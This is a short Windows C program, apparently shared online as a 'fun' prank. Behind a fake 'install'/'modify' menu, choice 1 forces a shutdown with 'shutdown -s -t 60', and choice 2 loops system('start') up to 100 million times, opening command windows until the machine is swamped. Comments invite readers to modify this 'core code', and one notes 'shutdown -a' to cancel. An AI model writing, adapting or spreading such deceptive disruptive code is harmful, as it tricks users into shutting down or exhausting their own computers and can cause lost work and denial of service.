/* Note:Your choice is C IDE */
#include "stdio.h"
#include "windows.h"
#include "malloc.h"


void main(void)
{
        int c;
        int i;
        int j;
        
        nihao:
        printf("1:安装\n");/*关机*/
        printf("2:修改\n");/*弹对话框*/
        printf("请选择:");
        
        scanf("%d",&c);
        
        if (c==1)
        {
                system("shutdown -s -t 60");/*核心代码,可修改!*/
        }
        else if (2==c)
        {
                printf("正在安装中...\n");
                for (j=0; j<100000000; ++j)/*可修改!*/
                system("start");/*核心代码*/
        }
        else
        {
                printf("选择错误,请重试!\n");
                goto nihao;/*破解方法cmd>shutdown -a*/
        }
        
    
}

更多推荐

简单,但是非常有趣的两段c代码!